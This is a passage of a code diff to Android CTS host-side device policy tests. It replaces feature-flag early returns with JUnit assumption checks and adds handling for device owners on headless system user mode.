-        setDeviceOwnerExpectingFailure(OWNER_NON_TEST_ONLY, mPrimaryUserId);
-        runCleanupNonTestOnlyOwnerAllowingFailure();
-
-        setProfileOwnerExpectingFailure(OWNER_NON_TEST_ONLY, mPrimaryUserId);
-        runCleanupNonTestOnlyOwnerAllowingFailure();
+        if (mDeviceOwnerCanHaveAccounts) {
+            setDeviceOwnerExpectingFailure(OWNER_NON_TEST_ONLY, mDeviceOwnerUserId);
+            runCleanupNonTestOnlyOwnerAllowingFailure();
+        }
+        if (mProfileOwnerCanHaveAccounts) {
+            setProfileOwnerExpectingFailure(OWNER_NON_TEST_ONLY, mProfileOwnerUserId);
+            runCleanupNonTestOnlyOwnerAllowingFailure();
+        }
     }
 
     private boolean hasAccounts() throws Exception {
@@ -152,17 +207,28 @@
         return Integer.parseInt(count) > 0;
     }
 
+    /**
+     * This set of tests will test whether DO and PO can be set on the user when
+     * there is/are different types of accounts added on the target test user.
+     */
     @Test
     @LargeTest
     public void testAccountCheck() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
-        installAppAsUser(APK_AUTH, mPrimaryUserId);
-        installAppAsUser(APK_NON_TEST_ONLY, mPrimaryUserId);
-        installAppAsUser(APK_TEST_ONLY, mPrimaryUserId);
+        installAppAsUser(APK_AUTH, mProfileOwnerUserId);
+        installAppAsUser(APK_NON_TEST_ONLY, mProfileOwnerUserId);
+        installAppAsUser(APK_TEST_ONLY, mProfileOwnerUserId);
+        runCleanupTestOnlyOwnerAllowingFailure(mProfileOwnerUserId);
 
-        runCleanupTestOnlyOwnerAllowingFailure();
+        // For tests in headless system user mode, test packages need to be installed for
+        // system user even for PO tests since PO will be set via adb command which will require
+        // TestAuthenticator installed on system user.
+        if (mDeviceOwnerUserId != mProfileOwnerUserId) {
+            installAppAsUser(APK_AUTH, mDeviceOwnerUserId);
+            installAppAsUser(APK_NON_TEST_ONLY, mDeviceOwnerUserId);
+            installAppAsUser(APK_TEST_ONLY, mDeviceOwnerUserId);
+            runCleanupTestOnlyOwnerAllowingFailure(mDeviceOwnerUserId);
+        }
+
         runCleanupNonTestOnlyOwnerAllowingFailure();
         removeAllAccountsAllowingFailure();
         try {
@@ -248,14 +314,11 @@
      */
     @Test
     public void testInheritTestOnly() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
-        installAppAsUser(APK_TEST_ONLY, mPrimaryUserId);
+        installAppAsUser(APK_TEST_ONLY, mDeviceOwnerUserId);
 
         // Set as DO.
         try {
-            setDeviceOwnerOrFail(OWNER_TEST_ONLY, mPrimaryUserId);
+            setDeviceOwnerOrFail(OWNER_TEST_ONLY, mDeviceOwnerUserId);
         } catch (Throwable e) {
             CLog.e("Unable to install DO, can't continue the test. Skipping.  hasAccounts="
                     + hasAccounts());
@@ -264,17 +327,17 @@
         try {
 
             // Override with a package that's not test-only.
-            installAppAsUser(APK_TEST_ONLY_UPDATE, mPrimaryUserId);
+            installAppAsUser(APK_TEST_ONLY_UPDATE, mDeviceOwnerUserId);
 
             // But DPMS keeps the original test-only flag, so it's still removable.
-            runCleanupTestOnlyOwner();
+            runCleanupTestOnlyOwner(mDeviceOwnerUserId);
 
             return;
         } catch (Throwable e) {
             // If failed, re-install the APK with test-only=true.
             try {
-                installAppAsUser(APK_TEST_ONLY, mPrimaryUserId);
-                runCleanupTestOnlyOwner();
+                installAppAsUser(APK_TEST_ONLY, mDeviceOwnerUserId);
+                runCleanupTestOnlyOwner(mDeviceOwnerUserId);
             } catch (Exception inner) {
                 CLog.e("Unable to clean up after a failure: " + e.getMessage());
             }
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/AdbProvisioningTests.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/AdbProvisioningTests.java
index cd19f68..6dd628e 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/AdbProvisioningTests.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/AdbProvisioningTests.java
@@ -19,41 +19,29 @@
 import static com.android.cts.devicepolicy.DeviceAndProfileOwnerTest.DEVICE_ADMIN_APK;
 import static com.android.cts.devicepolicy.DeviceAndProfileOwnerTest.DEVICE_ADMIN_PKG;
 import static com.android.cts.devicepolicy.metrics.DevicePolicyEventLogVerifier.assertMetricsLogged;
-import static com.android.cts.devicepolicy.metrics.DevicePolicyEventLogVerifier.isStatsdEnabled;
-
-import com.android.cts.devicepolicy.metrics.DevicePolicyEventWrapper;
-import com.android.tradefed.device.DeviceNotAvailableException;
-import java.io.FileNotFoundException;
 
 import android.stats.devicepolicy.EventId;
 
+import com.android.cts.devicepolicy.metrics.DevicePolicyEventWrapper;
+
 import org.junit.Test;
 
 public class AdbProvisioningTests extends BaseDevicePolicyTest {
 
     @Override
     public void setUp() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
         super.setUp();
         installAppAsUser(DEVICE_ADMIN_APK, mPrimaryUserId);
     }
 
     @Override
     public void tearDown() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
         super.tearDown();
         getDevice().uninstallPackage(DEVICE_ADMIN_PKG);
     }
 
     @Test
     public void testAdbDeviceOwnerLogged() throws Exception {
-        if (!mHasFeature || !isStatsdEnabled(getDevice())) {
-            return;
-        }
         assertMetricsLogged(getDevice(), () -> {
             setDeviceOwner(DEVICE_ADMIN_PKG + "/" + ADMIN_RECEIVER_TEST_CLASS, mPrimaryUserId,
                     /* expectFailure */ false);
@@ -66,9 +54,6 @@
 
     @Test
     public void testAdbProfileOwnerLogged() throws Exception {
-        if (!mHasFeature || !isStatsdEnabled(getDevice())) {
-            return;
-        }
         assertMetricsLogged(getDevice(), () -> {
             setProfileOwner(DEVICE_ADMIN_PKG + "/" + ADMIN_RECEIVER_TEST_CLASS, mPrimaryUserId,
                     /* expectFailure */ false);
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/BaseDeviceAdminHostSideTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/BaseDeviceAdminHostSideTest.java
index e37e5a1..a6696aa 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/BaseDeviceAdminHostSideTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/BaseDeviceAdminHostSideTest.java
@@ -57,18 +57,14 @@
 
         mUserId = mPrimaryUserId;
 
-        if (mHasFeature) {
-            installAppAsUser(getDeviceAdminApkFileName(), mUserId);
-            setDeviceAdmin(getAdminReceiverComponent(), mUserId);
-        }
+        installAppAsUser(getDeviceAdminApkFileName(), mUserId);
+        setDeviceAdmin(getAdminReceiverComponent(), mUserId);
     }
 
     @Override
     public void tearDown() throws Exception {
-        if (mHasFeature) {
-            assertTrue("Failed to remove admin", removeAdmin(getAdminReceiverComponent(), mUserId));
-            getDevice().uninstallPackage(getDeviceAdminApkPackage());
-        }
+        assertTrue("Failed to remove admin", removeAdmin(getAdminReceiverComponent(), mUserId));
+        getDevice().uninstallPackage(getDeviceAdminApkPackage());
 
         super.tearDown();
     }
@@ -89,17 +85,12 @@
      */
     @Test
     public void testRunDeviceAdminTest() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
         runTests(getDeviceAdminApkPackage(), "DeviceAdminTest");
     }
 
     @Test
     public void testResetPasswordDeprecated() throws Exception {
-        if (!mHasFeature || !mHasSecureLockScreen) {
-            return;
-        }
+        assumeHasSecureLockScreenFeature();
 
         runTests(getDeviceAdminApkPackage(), "DeviceAdminPasswordTest",
                         "testResetPasswordDeprecated");
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/BaseDeviceAdminServiceTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/BaseDeviceAdminServiceTest.java
index f76e262..1f55f23 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/BaseDeviceAdminServiceTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/BaseDeviceAdminServiceTest.java
@@ -47,30 +47,18 @@
 
     private static final int TIMEOUT_SECONDS = 3 * 60;
 
-    private boolean mMultiUserSupported;
-
-    @Override
-    public void setUp() throws Exception {
-        super.setUp();
-
-        mMultiUserSupported = getMaxNumberOfUsersSupported() > 1 && getDevice().getApiLevel() >= 21;
-    }
-
     @Override
     public void tearDown() throws Exception {
-        if (isTestEnabled()) {
-            removeAdmin(OWNER_COMPONENT, getUserId());
-            removeAdmin(OWNER_COMPONENT_B, getUserId());
-            getDevice().uninstallPackage(OWNER_PKG);
-            getDevice().uninstallPackage(OWNER_PKG_B);
-        }
+        removeAdmin(OWNER_COMPONENT, getUserId());
+        removeAdmin(OWNER_COMPONENT_B, getUserId());
+        getDevice().uninstallPackage(OWNER_PKG);
+        getDevice().uninstallPackage(OWNER_PKG_B);
+
         super.tearDown();
     }
 
     protected abstract int getUserId();
 
-    protected abstract boolean isTestEnabled();
-
     protected void executeDeviceTestMethod(String className, String testName) throws Exception {
         runDeviceTestsAsUser(OWNER_PKG, className, testName, getUserId());
     }
@@ -105,10 +93,6 @@
 
     @Test
     public void testAll() throws Throwable {
-        if (!isTestEnabled()) {
-            return;
-        }
-
         // Install
         CLog.i("Installing apk1...");
         installAppAsUser(OWNER_APK_1, getUserId());
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/BaseDeviceOwnerTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/BaseDeviceOwnerTest.java
new file mode 100644
index 0000000..0c01de9
--- /dev/null
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/BaseDeviceOwnerTest.java
@@ -0,0 +1,93 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.devicepolicy;
+
+import static org.junit.Assert.fail;
+
+import com.android.tradefed.log.LogUtil.CLog;
+
+/**
+ * Base class for {@link DeviceOwnerTest} and {@link HeadlessSystemUserDeviceOwnerTest} - it
+ * provides the common infra, but doesn't have any test method.
+ */
+abstract class BaseDeviceOwnerTest extends BaseDevicePolicyTest {
+
+    protected static final String DEVICE_OWNER_PKG = "com.android.cts.deviceowner";
+    protected static final String DEVICE_OWNER_APK = "CtsDeviceOwnerApp.apk";
+
+    protected static final String ADMIN_RECEIVER_TEST_CLASS =
+            DEVICE_OWNER_PKG + ".BasicAdminReceiver";
+    protected static final String DEVICE_OWNER_COMPONENT = DEVICE_OWNER_PKG + "/"
+            + ADMIN_RECEIVER_TEST_CLASS;
+
+    private boolean mDeviceOwnerSet;
+
+    @Override
+    public void setUp() throws Exception {
+        super.setUp();
+
+        installAppAsUser(DEVICE_OWNER_APK, mDeviceOwnerUserId);
+        mDeviceOwnerSet = setDeviceOwner(DEVICE_OWNER_COMPONENT, mDeviceOwnerUserId,
+                /*expectFailure= */ false);
+
+        if (!mDeviceOwnerSet) {
+            removeAdmin(DEVICE_OWNER_COMPONENT, mDeviceOwnerUserId);
+            getDevice().uninstallPackage(DEVICE_OWNER_PKG);
+            fail("Failed to set device owner on user " + mDeviceOwnerUserId);
+        }
+
+        if (isHeadlessSystemUserMode()) {
+            affiliateUsers(DEVICE_OWNER_PKG, mDeviceOwnerUserId, mPrimaryUserId);
+            grantDpmWrapperPermissions(DEVICE_OWNER_PKG, mPrimaryUserId);
+        }
+
+        // Enable the notification listener
+        executeShellCommand("cmd notification allow_listener com.android.cts."
+                + "deviceowner/com.android.cts.deviceowner.NotificationListener");
+    }
+
+    @Override
+    public void tearDown() throws Exception {
+        if (mDeviceOwnerSet && !removeAdmin(DEVICE_OWNER_COMPONENT, mDeviceOwnerUserId)) {
+            // Don't fail as it could hide the real failure from the test method
+            CLog.e("Failed to remove device owner on user " + mDeviceOwnerUserId);
+        }
+        getDevice().uninstallPackage(DEVICE_OWNER_PKG);
+
+        super.tearDown();
+    }
+
+    protected final void executeDeviceOwnerTest(String testClassName) throws Exception {
+        String testClass = DEVICE_OWNER_PKG + "." + testClassName;
+        runDeviceTestsAsUser(DEVICE_OWNER_PKG, testClass, mPrimaryUserId);
+    }
+
+    protected final void executeDeviceOwnerTestMethod(String className, String testName)
+            throws Exception {
+        executeDeviceOwnerPackageTestMethod(className, testName, mDeviceOwnerUserId);
+    }
+
+    protected final void executeDeviceTestMethod(String className, String testName)
+            throws Exception {
+        executeDeviceOwnerPackageTestMethod(className, testName, mPrimaryUserId);
+    }
+
+    private void executeDeviceOwnerPackageTestMethod(String className, String testName,
+            int userId) throws Exception {
+        runDeviceTestsAsUser(DEVICE_OWNER_PKG, className, testName, userId);
+    }
+}
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/BaseDevicePolicyTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/BaseDevicePolicyTest.java
index 29a1ea9..9e852a5 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/BaseDevicePolicyTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/BaseDevicePolicyTest.java
@@ -22,11 +22,18 @@
 import static org.junit.Assert.assertNull;
 import static org.junit.Assert.assertTrue;
 import static org.junit.Assert.fail;
+import static org.junit.Assume.assumeFalse;
+import static org.junit.Assume.assumeTrue;
 
 import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
+import com.android.role.RoleProto;
+import com.android.role.RoleServiceDumpProto;
+import com.android.role.RoleUserStateProto;
 import com.android.tradefed.config.Option;
+import com.android.tradefed.device.CollectingByteOutputReceiver;
 import com.android.tradefed.device.CollectingOutputReceiver;
 import com.android.tradefed.device.DeviceNotAvailableException;
+import com.android.tradefed.device.ITestDevice;
 import com.android.tradefed.log.LogUtil.CLog;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
@@ -34,7 +41,9 @@
 import com.google.common.io.ByteStreams;
 
 import org.junit.After;
+import org.junit.AssumptionViolatedException;
 import org.junit.Before;
+import org.junit.Rule;
 import org.junit.runner.RunWith;
 
 import java.io.File;
@@ -46,6 +55,7 @@
 import java.util.ArrayList;
 import java.util.Arrays;
 import java.util.Collections;
+import java.util.HashMap;
 import java.util.HashSet;
 import java.util.LinkedList;
 import java.util.List;
@@ -65,6 +75,19 @@
 @RunWith(DeviceJUnit4ClassRunner.class)
 public abstract class BaseDevicePolicyTest extends BaseHostJUnit4Test {
 
+    private static final String FEATURE_BLUETOOTH = "android.hardware.bluetooth";
+    private static final String FEATURE_CAMERA = "android.hardware.camera";
+    private static final String FEATURE_CONNECTION_SERVICE = "android.software.connectionservice";
+    private static final String FEATURE_FBE = "android.software.file_based_encryption";
+    private static final String FEATURE_LEANBACK = "android.software.leanback";
+    private static final String FEATURE_NFC = "android.hardware.nfc";
+    private static final String FEATURE_NFC_BEAM = "android.software.nfc.beam";
+
+    private static final String FEATURE_PRINT = "android.software.print";
+    private static final String FEATURE_TELEPHONY = "android.hardware.telephony";
+    private static final String FEATURE_SECURE_LOCK_SCREEN = "android.software.secure_lock_screen";
+    private static final String FEATURE_WIFI = "android.hardware.wifi";
+
     //The maximum time to wait for user to be unlocked.
     private static final long USER_UNLOCK_TIMEOUT_SEC = 30;
     private static final String USER_STATE_UNLOCKED = "RUNNING_UNLOCKED";
@@ -146,52 +169,38 @@
     /** Packages installed as part of the tests */
     private Set<String> mFixedPackages;
 
-    /** Whether DPM is supported. */
-    protected boolean mHasFeature;
+    protected int mDeviceOwnerUserId;
     protected int mPrimaryUserId;
 
     /** Record the initial user ID. */
     protected int mInitialUserId;
 
     /** Whether multi-user is supported. */
-    protected boolean mSupportsMultiUser;
-
-    /** Whether managed profiles are supported. */
-    protected boolean mHasManagedUserFeature;
-
-    /** Whether file-based encryption (FBE) is supported. */
-    protected boolean mSupportsFbe;
-
-    /** Whether the device has a lock screen.*/
-    protected boolean mHasSecureLockScreen;
-
-    /** Whether the device supports telephony. */
-    protected boolean mHasTelephony;
-    protected boolean mHasConnectionService;
+    private boolean mSupportsMultiUser;
 
     /** Users we shouldn't delete in the tests */
     private ArrayList<Integer> mFixedUsers;
 
     private static final String VERIFY_CREDENTIAL_CONFIRMATION = "Lock credential verified";
 
+    @Rule
+    public final DeviceAdminFeaturesCheckerRule mFeaturesCheckerRule =
+            new DeviceAdminFeaturesCheckerRule(this);
+
     @Before
     public void setUp() throws Exception {
         assertNotNull(getBuild());  // ensure build has been set before test is run.
-        ensurePackageManagerReady();
-        mHasFeature = getDevice().getApiLevel() >= 21; /* Build.VERSION_CODES.L */
+
         if (!mSkipDeviceAdminFeatureCheck) {
-            mHasFeature = mHasFeature && hasDeviceFeature("android.software.device_admin");
+            // TODO(b/177965931): STOPSHIP must integrate mSkipDeviceAdminFeatureCheck into
+            // DeviceAdminFeaturesCheckerRule
         }
+
         mSupportsMultiUser = getMaxNumberOfUsersSupported() > 1;
-        mHasManagedUserFeature = hasDeviceFeature("android.software.managed_users");
-        mSupportsFbe = hasDeviceFeature("android.software.file_based_encryption");
-        mHasTelephony = hasDeviceFeature("android.hardware.telephony");
-        mHasConnectionService = hasDeviceFeature("android.software.connectionservice");
         mFixedPackages = getDevice().getInstalledPackageNames();
         mBuildHelper = new CompatibilityBuildHelper(getBuild());
 
-        mHasSecureLockScreen = hasDeviceFeature("android.software.secure_lock_screen");
-        if (mHasSecureLockScreen) {
+        if (hasDeviceFeature(FEATURE_SECURE_LOCK_SCREEN)) {
             ensurePrimaryUserHasNoPassword();
         }
 
@@ -201,18 +210,27 @@
         getDevice().executeShellCommand("settings put global verifier_verify_adb_installs 0");
 
         mFixedUsers = new ArrayList<>();
-        mPrimaryUserId = getPrimaryUser();
 
         // Set the value of initial user ID calls in {@link #setUp}.
         if(mSupportsMultiUser) {
             mInitialUserId = getDevice().getCurrentUser();
         }
+
+        if (!isHeadlessSystemUserMode()) {
+            mDeviceOwnerUserId = mPrimaryUserId = getPrimaryUser();
+        } else {
+            // For headless system user, all tests will be executed on current user
+            // and therefore, initial user is set as primary user for test purpose.
+            mPrimaryUserId = mInitialUserId;
+            mDeviceOwnerUserId = USER_SYSTEM;
+        }
+
         mFixedUsers.add(mPrimaryUserId);
         if (mPrimaryUserId != USER_SYSTEM) {
             mFixedUsers.add(USER_SYSTEM);
         }
 
-        if (mHasFeature) {
+        if (mFeaturesCheckerRule.hasRequiredFeatures()) {
             // Switching to primary is only needed when we're testing device admin features.
             switchUser(mPrimaryUserId);
         } else {
@@ -225,7 +243,9 @@
         getDevice().executeShellCommand(" mkdir " + TEST_UPDATE_LOCATION);
 
         removeOwners();
-        switchUser(USER_SYSTEM);
+
+        switchUser(mPrimaryUserId);
+
         removeTestUsers();
         // Unlock keyguard before test
         wakeupAndDismissKeyguard();
@@ -292,7 +312,7 @@
     protected void installAppAsUser(String appFileName, boolean grantPermissions,
             boolean dontKillApp, int userId)
                     throws FileNotFoundException, DeviceNotAvailableException {
-        CLog.e("Installing app " + appFileName + " for user " + userId);
+        CLog.e("Installing app %s for user %d", appFileName, userId);
         CompatibilityBuildHelper buildHelper = new CompatibilityBuildHelper(getBuild());
         List<String> extraArgs = new LinkedList<>();
         extraArgs.add("-t");
@@ -306,12 +326,33 @@
                 result);
     }
 
+    protected void installAppIncremental(String appFileName)
+            throws FileNotFoundException, DeviceNotAvailableException {
+        final String signatureSuffix = ".idsig";
+        CompatibilityBuildHelper buildHelper = new CompatibilityBuildHelper(getBuild());
+        final File apk = buildHelper.getTestFile(appFileName);
+        assertNotNull(apk);
+        final File idsig = buildHelper.getTestFile(appFileName + signatureSuffix);
+        assertNotNull(idsig);
+        final String remoteApkPath = TEST_UPDATE_LOCATION + "/" + apk.getName();
+        final String remoteIdsigPath = remoteApkPath + signatureSuffix;
+        assertTrue(getDevice().pushFile(apk, remoteApkPath));
+        assertTrue(getDevice().pushFile(idsig, remoteIdsigPath));
+        String installResult = getDevice().executeShellCommand(
+                "pm install-incremental -t -g " + remoteApkPath);
+        assertEquals("Success\n", installResult);
+    }
+
     protected void forceStopPackageForUser(String packageName, int userId) throws Exception {
         // TODO Move this logic to ITestDevice
         executeShellCommand("am force-stop --user " + userId + " " + packageName);
     }
 
-    protected void executeShellCommand(final String command) throws Exception {
+    protected void executeShellCommand(String commandTemplate, Object...args) throws Exception {
+        executeShellCommand(String.format(commandTemplate, args));
+    }
+
+    protected void executeShellCommand(String command) throws Exception {
         CLog.d("Starting command " + command);
         String commandOutput = getDevice().executeShellCommand(command);
         CLog.d("Output for command " + command + ": " + commandOutput);
@@ -466,6 +507,13 @@
             stopUserAsync(userId);
         }
         for (int userId : usersCreatedByTests) {
+            removeTestAddedUser(userId);
+        }
+    }
+
+    private void removeTestAddedUser(int userId) throws Exception  {
+        // Don't remove system user or initial user.
+        if (userId != USER_SYSTEM && userId != mInitialUserId) {
             removeUser(userId);
         }
     }
@@ -493,7 +541,7 @@
     protected void runDeviceTestsAsUser(
             String pkgName, @Nullable String testClassName, int userId)
             throws DeviceNotAvailableException {
-        runDeviceTestsAsUser(pkgName, testClassName, null /*testMethodName*/, userId);
+        runDeviceTestsAsUser(pkgName, testClassName, /* testMethodName= */ null, userId);
     }
 
     protected void runDeviceTestsAsUser(
@@ -527,16 +575,11 @@
     }
 
     /** Reboots the device and block until the boot complete flag is set. */
-    protected void rebootAndWaitUntilReady() throws DeviceNotAvailableException {
+    protected void rebootAndWaitUntilReady() throws Exception {
         getDevice().rebootUntilOnline();
         assertTrue("Device failed to boot", getDevice().waitForBootComplete(120000));
     }
 
-    /** Returns true if the system supports the split between system and primary user. */
-    protected boolean hasUserSplit() throws DeviceNotAvailableException {
-        return getBooleanSystemProperty("ro.fw.system_user_split", false);
-    }
-
     /** Returns a boolean value of the system property with the specified key. */
     protected boolean getBooleanSystemProperty(String key, boolean defaultValue)
             throws DeviceNotAvailableException {
@@ -562,14 +605,32 @@
         return listUsers().size() + numberOfUsers <= getMaxNumberOfUsersSupported();
     }
 
+    /**
+     * Throws a {@link org.junit.AssumptionViolatedException} if it's not possible to create the
+     * desired number of users.
+     */
+    protected void assumeCanCreateAdditionalUsers(int numberOfUsers)
+            throws DeviceNotAvailableException {
+        int maxUsers = getDevice().getMaxNumberOfUsersSupported();
+        assumeTrue("Tests needs at least " + numberOfUsers + " extra users, but device supports "
+                + "at most " + getMaxNumberOfUsersSupported(),
+                canCreateAdditionalUsers(numberOfUsers));
+    }
+
     /** Checks whether it is possible to start the desired number of users. */
     protected boolean canStartAdditionalUsers(int numberOfUsers)
             throws DeviceNotAvailableException {
         return listRunningUsers().size() + numberOfUsers <= getMaxNumberOfRunningUsersSupported();
     }
 
+    protected void assumeCanStartNewUser() throws DeviceNotAvailableException {
+        assumeCanCreateOneManagedUser();
+        assumeTrue("Cannot start a new user", canStartAdditionalUsers(1));
+    }
+
     protected int createUser() throws Exception {
         int userId = createUser(0);
+        CLog.i("Created user with id %d", userId);
         // TODO remove this and audit tests so they start users as necessary
         startUser(userId);
         return userId;
@@ -614,6 +675,81 @@
         fail("Expected not to be able to create a managed profile. Output was: " + commandOutput);
     }
 
+    private void assumeHasDeviceFeature(String feature) throws DeviceNotAvailableException {
+        assumeTrue("device doesn't have " + feature, hasDeviceFeature(feature));
+    }
+
+    private void assumeDoesNotHaveDeviceFeature(String feature) throws DeviceNotAvailableException {
+        assumeFalse("device has " + feature, hasDeviceFeature(feature));
+    }
+
+    /**
+     * Used by test cases to add additional checks priort to {@link #setUp()}, so that when it
+     * throws an {@link AssumptionViolatedException} exception nothing is run
+     * (even {@link #tearDown()}).
+     */
+    protected void assumeTestEnabled() throws Exception {
+    }
+
+    protected final void assumeCanCreateOneManagedUser() throws DeviceNotAvailableException {
+        assumeSupportsMultiUser();
+        assumeCanCreateAdditionalUsers(1);
+    }
+
+    protected final void assumeSupportsMultiUser() throws DeviceNotAvailableException {
+        assumeTrue("device doesn't support multiple users", mSupportsMultiUser);
+    }
+
+    protected final void assumeHasWifiFeature() throws DeviceNotAvailableException {
+        assumeHasDeviceFeature(FEATURE_WIFI);
+    }
+
+    protected final void assumeHasTelephonyFeature() throws DeviceNotAvailableException {
+        assumeHasDeviceFeature(FEATURE_TELEPHONY);
+    }
+
+    protected final void assumeHasNfcFeatures() throws DeviceNotAvailableException {
+        assumeHasDeviceFeature(FEATURE_NFC);
+        assumeHasDeviceFeature(FEATURE_NFC_BEAM);
+    }
+
+    protected final void assumeHasTelephonyAndConnectionServiceFeatures()
+            throws DeviceNotAvailableException {
+        assumeHasTelephonyFeature();
+        assumeHasDeviceFeature(FEATURE_CONNECTION_SERVICE);
+    }
+
+    protected final void assumeHasSecureLockScreenFeature() throws DeviceNotAvailableException {
+        assumeHasDeviceFeature(FEATURE_SECURE_LOCK_SCREEN);
+    }
+
+    protected final void assumeDoesNotHaveSecureLockScreenFeature()
+            throws DeviceNotAvailableException {
+        assumeDoesNotHaveDeviceFeature(FEATURE_SECURE_LOCK_SCREEN);
+    }
+
+    protected final void assumeHasFileBasedEncryptionAndSecureLockScreenFeatures()
+            throws DeviceNotAvailableException {
+        assumeHasDeviceFeature(FEATURE_FBE);
+        assumeHasSecureLockScreenFeature();
+    }
+
+    protected final void assumeHasPrintFeature() throws DeviceNotAvailableException {
+        assumeHasDeviceFeature(FEATURE_PRINT);
+    }
+
+    protected final void assumeHasCameraFeature() throws DeviceNotAvailableException {
+        assumeHasDeviceFeature(FEATURE_CAMERA);
+    }
+
+    protected final void assumeHasBluetoothFeature() throws DeviceNotAvailableException {
+        assumeHasDeviceFeature(FEATURE_BLUETOOTH);
+    }
+
+    protected final void assumeApiLevel(int min) throws DeviceNotAvailableException {
+        assumeTrue("API level must be >=" + min, getDevice().getApiLevel() >= min);
+    }
+
     private int getUserIdFromCreateUserCommandOutput(String commandOutput) {
         // Extract the id of the new user.
         String[] tokens = commandOutput.split("\\s+");
@@ -669,9 +805,8 @@
     protected void setProfileOwnerOrFail(String componentName, int userId)
             throws Exception {
         if (!setProfileOwner(componentName, userId, /*expectFailure*/ false)) {
-            if (userId != 0) { // don't remove system user.
-                removeUser(userId);
-            }
+            // Don't remove system user or initial user that tests require to run on.
+            removeTestAddedUser(userId);
             fail("Failed to set profile owner");
         }
     }
@@ -679,9 +814,7 @@
     protected void setProfileOwnerExpectingFailure(String componentName, int userId)
             throws Exception {
         if (setProfileOwner(componentName, userId, /* expectFailure =*/ true)) {
-            if (userId != 0) { // don't remove system user.
-                removeUser(userId);
-            }
+            removeTestAddedUser(userId);
             fail("Setting profile owner should have failed.");
         }
     }
@@ -735,6 +868,16 @@
         assertFalse(setDeviceOwner(componentName, userId, /* expectFailure =*/ true));
     }
 
+
+    protected void affiliateUsers(String deviceAdminPkg, int userId1, int userId2)
+            throws Exception {
+        CLog.d("Affiliating users %d and %d on admin package %s", userId1, userId2, deviceAdminPkg);
+        runDeviceTestsAsUser(
+                deviceAdminPkg, ".AffiliationTest", "testSetAffiliationId1", userId1);
+        runDeviceTestsAsUser(
+                deviceAdminPkg, ".AffiliationTest", "testSetAffiliationId1", userId2);
+    }
+
     protected String getSettings(String namespace, String name, int userId)
             throws DeviceNotAvailableException {
         String command = "settings --user " + userId + " get " + namespace + " " + name;
@@ -998,27 +1141,139 @@
     }
 
     protected String getDefaultLauncher() throws Exception {
-        final String PREFIX = "Launcher: ComponentInfo{";
-        final String POSTFIX = "}";
-        final String commandOutput =
-                getDevice().executeShellCommand("cmd shortcut get-default-launcher");
-        if (commandOutput == null) {
-            return null;
-        }
-        String[] lines = commandOutput.split("\\r?\\n");
-        for (String line : lines) {
-            if (line.startsWith(PREFIX) && line.endsWith(POSTFIX)) {
-                return line.substring(PREFIX.length(), line.length() - POSTFIX.length());
+        final CollectingByteOutputReceiver receiver = new CollectingByteOutputReceiver();
+        getDevice().executeShellCommand("dumpsys role --proto", receiver);
+
+        RoleUserStateProto roleState = null;
+        final RoleServiceDumpProto dumpProto =
+                RoleServiceDumpProto.parser().parseFrom(receiver.getOutput());
+        for (RoleUserStateProto userState : dumpProto.getUserStatesList()) {
+            if (getDevice().getCurrentUser() == userState.getUserId()) {
+                roleState = userState;
+                break;
             }
         }
+
+        if (roleState != null) {
+            final List<RoleProto> roles = roleState.getRolesList();
+            // Iterate through the roles until we find the Home role
+            for (RoleProto roleProto : roles) {
+                if ("android.app.role.HOME".equals(roleProto.getName())) {
+                    assertEquals(1, roleProto.getHoldersList().size());
+                    return roleProto.getHoldersList().get(0);
+                }
+            }
+        }
+
         throw new Exception("Default launcher not found");
     }
 
-    boolean isDeviceAb() throws DeviceNotAvailableException {
+    void assumeIsDeviceAb() throws DeviceNotAvailableException {
         final String result = getDevice().executeShellCommand("getprop ro.build.ab_update").trim();
+        assumeTrue("not device AB", "true".equalsIgnoreCase(result));
+    }
+
+    // TODO (b/174775905) remove after exposing the check from ITestDevice.
+    boolean isHeadlessSystemUserMode() throws DeviceNotAvailableException {
+        return isHeadlessSystemUserMode(getDevice());
+    }
+
+    // TODO (b/174775905) remove after exposing the check from ITestDevice.
+    public static boolean isHeadlessSystemUserMode(ITestDevice device)
+            throws DeviceNotAvailableException {
+        final String result = device
+                .executeShellCommand("getprop ro.fw.mu.headless_system_user").trim();
         return "true".equalsIgnoreCase(result);
     }
 
+    protected void ignoreOnHeadlessSystemUserMode(String reason)
+            throws DeviceNotAvailableException {
+        assumeFalse("Skipping test on headless system user mode. Reason: " + reason,
